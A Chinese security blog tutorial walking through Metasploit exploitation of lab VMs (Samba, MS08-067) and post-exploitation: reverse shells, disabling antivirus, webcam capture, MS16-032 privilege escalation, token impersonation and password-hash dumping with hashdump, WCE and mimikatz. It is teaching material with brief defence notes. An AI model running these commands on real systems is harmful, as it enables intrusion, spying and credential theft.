[系统安全] 四十五.APT系列(10)Metasploit后渗透技术信息收集权限提权和功能模块详解

Posted Eastmount

tags:

篇首语:本文由小常识网(cha138.com)小编为大家整理,主要介绍了[系统安全] 四十五.APT系列(10)Metasploit后渗透技术信息收集权限提权和功能模块详解相关的知识,希望对你有一定的参考价值。

您可能之前看到过我写的类似文章,为什么还要重复撰写呢?只是想更好地帮助初学者了解病毒逆向分析和系统安全,更加成体系且不破坏之前的系列。因此,我重新开设了这个专栏,准备系统整理和深入学习系统安全、逆向分析和恶意代码检测,“系统安全”系列文章会更加聚焦,更加系统,更加深入,也是作者的慢慢成长史。换专业确实挺难的,逆向分析也是块硬骨头,但我也试试,看看自己未来四年究竟能将它学到什么程度,漫漫长征路,偏向虎山行。享受过程,一起加油~

前文带领大家了解Metasploit技术,它和CS都是APT攻击中常见的方式,并结合作者之前的漏洞利用及WannaCry逆向经验总结。这篇文章继续带领大家深入Metasploit技术,涉及后渗透相关的技术,包括信息收集、权限提权、移植漏洞模块和后门。同时,结合作者之前的漏洞利用及WannaCry逆向经验总结。本文参考徐焱老师的《Web安全攻防渗透测试实战指南》著作,谢公子博客,并结合作者之前的博客和经验进行总结。希望这篇文章对您有所帮助,这些大佬是真的值得我们去学习,献上小弟的膝盖~fighting!

文章目录

希望这些基础原理能更好地帮助大家做好防御和保护,基础性文章,希望对您有所帮助。作者作为网络安全的小白,分享一些自学基础教程给大家,主要是在线笔记,希望您们喜欢。同时,更希望您能与我一起操作和进步,后续将深入学习网络安全和系统安全知识并分享相关实验。总之,希望该系列文章对博友有所帮助,写文不易,大神们不喜勿喷,谢谢!如果文章对您有帮助,将是我创作的最大动力,点赞、评论、私聊均可,一起加油喔!

作者的github资源:

从2019年7月开始,我来到了一个陌生的专业——网络空间安全。初入安全领域,是非常痛苦和难受的,要学的东西太多、涉及面太广,但好在自己通过分享100篇“网络安全自学”系列文章,艰难前行着。感恩这一年相识、相知、相趣的安全大佬和朋友们,如果写得不好或不足之处,还请大家海涵!

接下来我将开启新的安全系列,叫“系统安全”,也是免费的100篇文章,作者将更加深入的去研究恶意样本分析、逆向分析、内网渗透、网络攻防实战等,也将通过在线笔记和实践操作的形式分享与博友们学习,希望能与您一起进步,加油~

前文分析:

声明:本人坚决反对利用教学方法进行犯罪的行为,一切犯罪行为必将受到严惩,绿色网络需要我们共同维护,更推荐大家了解它们背后的原理,更好地进行防护。


一.MSF漏洞利用

上一篇文章我们详细介绍了Metasploit的基础用法及漏洞利用过程,这篇文章将介绍后渗透相关的技术,包括信息收集、权限提升、移植漏洞和后门。在介绍这些知识之前,我们先简单回顾下MSF漏洞利用的基本流程。

第一步,扫描靶机Windows XP系统是否开启445端口。

  • nmap -sS 192.168.44.135

收集到目标主机相关信息后,为其选择正确的Exploit和合适的Payload,然后发起攻击。作者这里选择Samba 3.x服务进行漏洞利用。

第二步,打开msfconsole。

  • msfconsole

第三步,查询Samba的漏洞利用模块,并选择合适的漏洞利用模块。

  • search samba

Samba是在Linux和UNIX系统上实现SMB(Server Message Block,信息服务块)协议的一款免费软件。SMB是一种在局域网上共享文件和打印机的通信协议,它在局域网内使用Linux和Windows系统的机器之间提供文件及打印机等资源的共享服务。

第四步,利用漏洞模块。
在Samba服务返回的漏洞利用模块列表中,我们选择“Excellent”最杰出且时间较新的漏洞,从而提高渗透成功率。

  • use exploit/multi/samba/usermap_script

第五步,查看该漏洞利用模块可供选择的攻击载荷模块。
注意,因为目标是Linux机器,一定要选择Linux的攻击载荷。本文主要是回顾MSF漏洞攻击流程,后面会详细介绍真实的漏洞利用案例。

  • set payload cmd/unix/reverse

第六步,设置漏洞利用信息。

  • 受害主机IP:set RHOST 192.168.44.135
  • 攻击主机IP:set LHOST 192.168.44.138
  • 攻击端口:set RPORT 445

第七步,输入攻击命令exploit或run。

MSF发动攻击成功后会获取目标主机Shell,可以看到攻击主机和目标主机之间建立了Shell连接。同时可能会出现错误“Exploit completed, but no session was created”,需要注意目标主机版本信息,选择对应的攻击载荷及漏洞利用模块。建议读者多尝试各种Exploit和Payload的组合。

防御方法:

  • Samba服务漏洞发生在Samba3.0.20-25版本,当使用非默认用户名映射脚本配置时,通过指定一个用户名包含Shell元字符,攻击者可以执行任意命令。建议将其升级到可防御的版本。
  • SMB局域网上共享文件和打印机的通信协议会出现各种漏洞,建议关闭相关的端口及防火墙设置,即使修补最新漏洞。


二.后渗透攻击之信息收集

成功地对目标机器攻击渗透后还可以做什么呢?
Metasploit提供了一个非常强大的后渗透工具—— Meterpreter,该工具具有多重功能,使后续入侵变得更容易,获取目标机的Meterpreter Shell后,就进入了Metasploit最精彩的后渗透利用节点,后期渗透模块有200多个,Meterpreter具有以下优势。

  • 纯内存工作模式,不需要对磁盘进行任何写入操作。
  • 使用加密通信协议,而且可以同时与几个信道通信。
  • 在被攻击进程内工作,不需要创建新的进程。
  • 易于在多进程之间迁移。
  • 平台通用,适用于Windows、Linux、 BSD系统, 并支持Intel x86和Intel x64平台。

这里以上篇文章介绍的MS17-010漏洞为例进行说明。

同时,meterpreter的payload是真强大,它可以实现太多太多的功能了。我们可以在meterpreter下面进行help,查看相关用法。

  • Core Commands

  • File System Commands

  • Networking Commands & System Commands

  • User Interface Commands

  • Webcam Commands & Other Commands


1.进程迁移

在刚获得Meterpreter Shell时,该Shell是极其脆弱和易受攻击的,例如攻击者可以利用浏览器漏洞攻陷目标机器,但攻击渗透后浏览器有可能被用户关闭。所以第一步就是要移动这个Shell,把它和目标机中一个稳定的进程绑定在一起,而不需要对磁盘进行任何写入操作。这样做使得渗透更难被检测到。

(1) 获取目标主机正在运行的进程

  • ps

这些进程与我们的目标主机如XP系统打开时对应的,如下图所示。

(2) 查看Meterpreter Shell的进程号。

  • getpid

发现Meterpreter Shell进程的PID为524,Name为spoolsv.exe。


(3) 输入命令移动进程。
输入migrate命令把Shell移动到PID为1684的Explorer.exe进程里,因为该进程是一个稳定的应用。

  • migrate 1684

migrate也是一个post模块,可以将meterpreter当前的进程移动到其他指定的进程中,这样做的好处是可以给meterpreter一个相对稳定的运行环境,同时可以很好的躲避杀软。

渗透过程中可能会遇到问题,比如“Error: Rex::TimeoutError : Operation timed out. ”,这都需要我们学会独立解决。

完成进程迁移后,再次输入getpid命令查看Meterpreter Shel的进程号,发现PID已经变成了2428,说明已经成功迁移到Explorer.exe进程里,原先PID为1116的进程会自动关闭,如图所示。


(4) 使用自动迁移进程命令,系统会自动寻找合适的进程然后迁移。

  • run post/windows/manage/migrate

如下所示,系统已经把原来PID为3292的进程迁移到6020。

meterpreter > run post/windows/manage/migrate

[*] Running module against DX1XMSTMBBJR3FZ
[*] Current server process: notepad.exe (3292)
[*] Spawning notepad.exe process to migrate to
[+] Migrating to 6020
[+] Successfully migrated to process 6020

2.系统命令

获得了稳定的进程后,接下来收集系统信息。后续作者想通过Python自己实现这些功能,感觉挺有意思的。

(1) 查看目标主机的系统信息。
通常会先输入sysinfo命令查看目标机的系统信息,例如操作系统和体系结构。

  • sysinfo

(2) 检查目标机是否运行在虚拟机上。

  • run post/windows/gather/checkvm

可以看到当前目标机正运行在一个VMware虚拟机上,接下来我们检查虚拟机最近是否运行。

(3) 查看目标机最近的运行时间。

  • idletime

看到目标机器正在运行且运行了2 mins 49 secs。

(4) 查看目标机完整的网络设置。

  • route

除此之外,可以输入background命令将当前会话放到后台,此命令适合在多个Meterpreter会话的场景下使用。


(5) 查看已经渗透成功的目标主机的用户名。

  • getuid

(6) 关闭目标机操作系统杀毒软件。

  • run post/windows/manage/killav

(7) 启动目标机的远程桌面协议,对应3389端口,后面我们会利用该端口。

  • run post/windows/manage/enable_rdp

(8) 查看目标机的本地子网情况。

  • run post/windows/manage/autoroute


可以通过添加路由借助被攻陷的主机对其他网络的主机发送攻击。同时可以添加路由信息。


(9) 列举当前有多少用户登陆了目标机。

  • run post/windows/gather/enum_logged_on_users

(10) 列举完了用户之后, 继续输入命令列举安装在目标机上的应用程序。

  • run post/windows/gather/enum_applications

(11) 查看自动登陆的用户和密码。

  • run windows/gather/credentials/windows_autologin

可以看到当前没有抓到任何信息。此时就需要用到扩展插件Espia,使用前要先输入load espia命令加载该插件,然后输入screengrab命令就可以抓取此时目标机的屏幕截图。


(12) 加载该插件截屏。

  • load espia
  • screengrab

另一个命令也可以达到同样的截屏效果。抓取成功后就生成了一个jpeg图片,保存在root目录下。

  • screenshot

(13) 查看目标机camera。

  • webcam_list

(14) take photo。

  • webcam_snap

(15) 开启模式。

  • webcam_stream

(16) 进入目标机shell。

  • shell

(17) 停止shell会话并返回meterpreter。

  • exit


3.文件系统命令

Meterpreter也支持各种文件系统命令,用于搜索文件并执行各种任务,例如搜索文件、下载文件及切换目录等,相对来说操作比较简单。常用的文件系统命令及其作用如下所示。

(1) 查看当前处于目标机的目录。

  • pwd或getwd

(2) 查看当前处于本地的哪个目录。

  • getlwd

(3) 列出当前目录中的所有文件。

  • ls

(4) 切换目录。

  • cd

(5) 搜索C盘中所有以".txt" 为扩展名的文件。

  • search -f *.txt -d c:\\\\

其中-f参数用于指定搜索文件模式,-d参数用于指定在哪个目录下进行搜索,如图所示。

(6) 下载目标机C盘的test.txt文件到攻击机root下。

  • download c:\\\\test\\\\test.txt /root

(7) 上传攻击机root目录下的test.txt文件到目标机C盘下。

  • upload /root/test.txt c:\\\\



三.后渗透攻击之权限提升

1.权限查询

在渗透过程中很有可能只获得了一个系统的Guest或User权限。低的权限级别将使我们受到很多的限制,在实施横向渗透或者提权攻击时将很困难。

在主机上如果没有管理员权限,就无法进行获取Hash、安装软件、修改防火墙规则和修改注册表等各种操作,所以必须将访问权限从Guset提升到User,再到Administrator,最后到System级别。

渗透的最终目的是获取服务器的最高权限,即Windows操作系统中管理员账号的权限,或Linux操作系统中root账户的权限。提升权限的方式分为以下两类。

  • 纵向提权: 低权限角色获得高权限角色的权限。例如,一个WebShell权限通过提权之后拥有了管理员的权限,那么这种提权就是纵向提权,也称作权限升级。
  • 横向提权: 获取同级别角色的权限。例如,通过已经攻破的系统A获取了系统B的权限,那么这种提权就属于横向提权。

所以在成功获取目标机Meterpreter Shell后,我们要知道现在已经拥有了什么权限。

(1) 查看当前权限。
在Meterpreter Shell下输入shell命令进入目标机的CMD命令行,接着输入whoami /groups命令查看我们当前的权限。

  • whoami

注意,如果提示whoami不是内部命令,则需要将whoami.exe复制到System32目录即可。

查看我们当前的权限。

  • whoami /groups

(2) 查看用户已获得的权限。
作者这里使用MS17-010漏洞提权,已经是系统管理员权限了。

  • getuid

通过getsystem命令可以尝试提权。

(3) 查看系统的已打补。
传统的方法是在目标机的CMD命令行下输入systeminfo命令,或者通过查询C:\\windows\\里留下的补丁号".Iog" 查看目标机大概打了哪些补丁,如图所示。

  • systeminfo

可以看到目标机只安装了3个修补程序。

meterpreter命令如下:

(4) 利用WMIC命令列出已安装的补丁。

  • Wmic qfe get Caption,Description,HotFixID,InstalledOn

注意,作者这里没有显示详细信息,而徐老师他们显示详细信息如下图所示。

可以看到目标机只打了3个补丁,要注意这些输出的结果是不能被直接利用的,使用的方式是去找提权的EXP,然后将系统已经安装的补丁编号与提权的EXP编号进行对比。比如KiTrap0D (KB979682) 、MS11-011 (KB2393802) 、MS11-080(KB2592799),然后使用没有编号的EXP进行提权。

因为虚拟机不怎么打补丁,所以我们可以使用很多EXP来提权,这里就用最新的MS16-032来尝试提权,对应的编号是KB3139914。

WMIC是Windows Management Instrumentation Command-line的简称,它是一款命令行管理工具,提供了从命令行接口到批命令脚本执行系统管理的支持,可以说是Windows平台下最有用的命令行工具。使用WMIC我们不但可以管理本地计算机,还可以管理同一域内的所有远程计算机(需要必要的权限),而被管理的远程计算机不必事先安装WMIC。

需要注意的是,在Windows XP下,低权限用户是不能使用WMIC命令的,但是在Windows 7系统和Windows 8系统下,低权限用户可以使用WMIC且不用更改任何设置。WMIC在信息收集和后渗透测试阶段非常实用,可以调取查看目标机的进程、服务、用户、用户组、网络连接、硬盘信息、网络共享信息、已安装补丁、启动项、已安装的软件、操作系统的相关信息和时区等。


2.利用WMIC实战MS16-032本地溢出漏洞

下面我们就利用本地溢出漏洞来提高权限,也就是说通过运行些现成的、能造成溢出漏洞的Exploit,把用户从User组或其他系统用户组中提升到Administrator组或root。

溢出漏洞就像往杯子里装水,水多了杯子装不进去,里面的水就会溢出来。而计算机有个地方叫缓存区,程序的缓存区长度是事先被设定好的,如果用户输入的数据超过了这个缓存区的长度,那么这个程序就会溢出。

(1) 接下来准备提权,需要先把Meterpreter会话转为后台执行,然后搜索MS16-032,如下图所示。

  • search ms16-032

(2) 指定session完成提权操作。

  • use windows/local/ms16_032_secondary_logon_handle_privesc
  • set session 1

(3) 实现攻击。

  • run

注意,如果搜索不到最新的Exploit,可以输入msfupdate命令进行升级,获取最新的Exploit模块、攻击载荷,或者手动添加相应漏洞EXP 。但是作者的始终没有响应,真实的运行结果是将权限提升为System级别。

防御方式:

  • 该漏洞的安全补丁编号为KB3139914,我们只需要安装此补丁即可。为了方便提权,下面给出部分补丁编号。

微软也会定期给出对应的方法,比如:


3.令牌窃取提权

令牌(Token)是系统的临时密钥,相当于账户名和密码,用来决定是否允许这次请求和判断这次请求是属于哪一个用户的。它允许你在不提供密码或其他凭证的前提下,访问网络和系统资源。这些令牌将持续存在于系统中,除非系统重新启动。

令牌最大的特点就是随机性、不可预测,一般hk或软件无法猜测出来。令牌有很多种,比如:

  • 访问令牌(Access Token): 表示访问控制操作主题的系统对象;
  • 密保令牌(Security token): 又叫作认证令牌或者硬件令牌,是一种计算机身份校验的物理设备,例如U盾;
  • 会话令牌(Session Token): 是交互会话中唯一的身份标识符。

在假冒令牌攻击中需要使用Kerberost协议。所以在使用假冒令牌前,先来介绍Kerberost协议。Kerberos是一种网络认证协议,其设计目标是通过密钥系统为客户机/服务器应用程序提供强大的认证服务。Kerberos的工作机制如下图所示。

前面我们通过MS17-010已经实现权限提升,但已经是System级权限。但某些情况下可能是Test权限,需要进一步提升。

(1) 查看已经获得的权限。

  • getuid

(2) 提权。

  • getsystem

发现提权失败了。

(3) 列出可用的token。

  • use incognito
  • list_tokens -u

可以看到有两种类型的令牌:

  • 一种是Delegation Tokens,也就是授权令牌,它支持交互式登录,例如可以通过远程桌面登录访问);
  • 一种是Impersonation Tokens,也就是模拟令牌,它是非交互的会话。令牌的数量其实取决于Meterpreter Shell的访问级别。

由上图可以看到,我们已经获得了一个系统管理员hacker的授权令牌,现在就要假冒这个令牌,成功后即可拥有它的权限。

从输出的信息可以看到分配的有效令牌包含 XI....NQ\\hacker,其中XI…NQ是目标机的主机名,hacker表示登录的用户名。接下来在incognito中调用impersonate token命令假冒ge用户进行攻击,具体方法如下图所示。

  • impersonate token XI...NQ\\\\hacker
  • shell
  • whoami

注意:在输入HOSTNAME\\USERNAME时需要两个反斜杠(\\\\)。运行成功后在Meterpreter Shell下运行shell命令并输入whoami,可以看到现在就是假冒的那个hacker系统管理员了。


4.Hash攻击提权

Hashdump Meterpreter脚本可以从目标机器中提取Hash值,破解Hash值即可获得登录密码。计算机中的每个账号(如果是域服务器,则为域内的每个账号)的用户名和密码都存储在 sam 文件中,当计算机运行时,该文件对所有账号进行锁定,要
想访问就必须有"系统级”账号。所以要使用该命令就必须进行权限的提升。

(1) hashdump抓取密码
在Meterpreter Shell提示符下输入hashdump命令,将导出目标机sam数据库中的Hash。注意,在非system权限下会出现失败,报错 “priv_passwd get_sam_hashes: Operation failed: The parameter is incorrect.”

  • hashdump

注意,在非SYSTEM权限下远行hashdump命令会失败,而且在Windows 7、Windows Server 2008下有时候会出现进程移植不成功等问题。权限不够需要提升为system权限。查看权限可以进入目标机的 cmd 运行 whoami /groups 来查看。

(2) 如果报错,则提权并将进程转移至具有SYSTEM权限的进程。

  • ps
  • getsystem
  • migrate 664

(3) 导出目标机sam数据库中的Hash。

  • hashdump

(4) smart hashdump导出用户的Hash值。
另一个模块smart hashdump的功能更为强大,可以导出域所有用户的Hash,其工作流程如下:

  • 检查Meterpreter会话的权限和目标机操作系统类型。
  • 检查目标机是否为域控制服务器。
  • 首先尝试从注册表中读取Hash,不行的话再尝试注入LSASS进程。

命令为:

  • run windows/gather/smart_hashdump

(5) 通过暴力或者彩虹列表对抓取到的hash进行破解。

说明:在SAM文件中保存了两个不同的口令信息,LAN Manager(LM)口令散列算法和更加强大的加密NT版。LM就是NT口令文件的弱点。上图中左边为LM版本口令,右边是NTLM版本,1001代表管理员。


(6) 使用Quarks PwDump抓取密码
PwDump是一款Win32环境下的系统授权信息导出工具,目前没有任何一款工具可以导出如此全面的信息、支持这么多的OS版本,而且相当稳定。它目前可以导出:

  • Local accounts NT/LM hashes + history 本机NT/LM哈希+历史登录记录。
  • Domain accounts NT/LM hashes + history域中的NT/LM哈希+历史登录记录。
  • Cached domain password缓存中的域管理密码。
  • Bitlocker recovery information使用Bitlocker的恢复功能后遗留的信息(恢复密码&关键包)。

运行该程序如上图所示,默认显示帮助信息,其参数含义如下所示。

  • -dhl:导出本地哈希值。
  • -dhdc:导出内存中的域控哈希值。
  • -dhd:导出域控哈希值,必须指定NTDS文件。
  • -db:导出Bitlocker信息, 必须指定NTDS文件。
  • -nt:导出NTDS文件。
  • -hist:导出历史信息,可选项。
  • -t:可选导出类型,默认导出John类型。
  • -o:导出文件到本地。

这里使用该工具抓取本机Hash值并导出,可以输入如下命令导出本地哈希值到当前目录的1.txt。此外,该工具还可以配合Ntdsutil工具导出域控密码。

  • QuarksPwDump.exe -dhl -o 1.txt

(7) 使用WCE抓取密码。
Windows Credentials Editor (WCE)是一款功能强大的Windows平台内网渗透工具,它能列举登录会话,并且可以添加、改变和删除相关凭据,如LM/NTHash。这些功能在内网渗透中能够被利用,例如在Windows平台上执行绕过Hash操作或者从内存中获取NT/LM Hash (也可以从交互式登录、服务、远程桌面连接中获取)以用于进一步的攻击,而且体积也非常小,是内网渗透时的必备工具。不过必须在管理员权限下使用,还要注意杀毒工具的免杀。

首先输入upload命令将wce.exe.上传到目标主机C盘中,然后在目标机Shell下输入wce -w命令,便会成功提取系统明文管理员的密码,如图所示。

另一款工具是Mimikatz,作为一款轻量级后渗透测试工具,它可以帮助安全测试人员轻松抓取系统密码,此外还包括能够通过获取的Kerberos登录凭据,绕过支持RestrictedAdmin模式下Windows 8或Windows Server 2012的远程终端(RDP)等功能。后续实战中我们遇到再详细介绍。

同时,Mimikatz还能在PowerShell中执行,实现偷窃、注入凭证、伪造Kerberos票证创建,以及很多其他的功能。

输入samdump命令查看samdump的可用选项抓取Hash。

  • mimikatz_command -f samdump::hashes



四.后渗透攻击之移植自定义漏洞利用模块

1.传统MS08-067漏洞利用

首先,简单看看传统的漏洞利用方法。由于之前MS17-010漏洞已经复现过,所以这里使用MS08-067来加深读者MSF用法的印象。

第一步,扫描靶机Windows XP系统是否开启445端口。

  • nmap -sS 192.168.44.135

第二步,打开msfconsole。

  • msfconsole

第三步,查询漏洞模块。

  • search ms08-067

第四步,利用漏洞并设置参数。

  • use exploit/windows/smb/ms08_067_netapi
    利用永恒之蓝漏洞
  • set payload windows/shell_reverse_tcp
    设置payload
  • set RHOSTS 192.168.44.135
    设置受害主机IP
  • set LHOST 192.168.44.138
    设置本机IP地址
  • set RPORT 445
    设置端口445

第五步,查看配合参数。

  • show options

注意,默认target是自动的。

第六步,利用漏洞。

  • exploit或run

此时可能会报错“Exploit comleted, but no session was created”。这是需要根据靶机版本选择合适的targets,例如这里是靶机系统为:Windows XP,则只需加一行如下命令:

  • set target 2

最终漏洞利用成功。

输出后渗透相关命令,可以进行剩余操作。


2.移植github的MS17-010漏洞模块

2017年5月12日,WannaCry蠕虫通过永恒之蓝MS17-010漏洞在全球范围大爆发,感染大量的计算机。WannaCry勒索病毒全球大爆发,至少150个国家、30万名用户中招,造成损失达80亿美元,已影响金融、能源、医疗、教育等众多行业,造成严重的危害。

WannaCry是一种“蠕虫式”勒索病毒软件,由不法分子利用NSA泄露方程式工具包的危险漏洞“EternalBlue”(永恒之蓝)进行传播。该蠕虫感染计算机后会向计算机中植入敲诈者病毒,导致电脑大量文件被加密。

WannaCry利用Windows系统的SMB漏洞获取系统的最高权限,该工具通过恶意代码扫描开放445端口的Windows系统。被扫描到的Windows系统,只要开机上线,不需要用户进行任何操作,即可通过SMB漏洞上传WannaCry勒索病毒等恶意程序。

WannaCry勒索病毒主要行为是传播和勒索。

  • 传播:利用基于445端口的SMB漏洞MS17-010(永恒之蓝)进行传播
  • 勒索:释放文件,包括加密器、解密器、说明文件、语言文件等;加密文件;设置桌面背景、窗体信息及付款账号等。

虽然MS17-010漏洞利用模块Metasploit已经集成,但经过测试后被发现不支持某些操作系统,比如Windows 2003,但网上有支持的渗透脚本。并且真实的案例中,尤其是0day漏洞,我们需要自己构建shellcode攻击脚本,所以这里我们讲述一种普适性更强的漏洞利用方法,即移植漏洞模块。

作者之前的文章也自己实现过。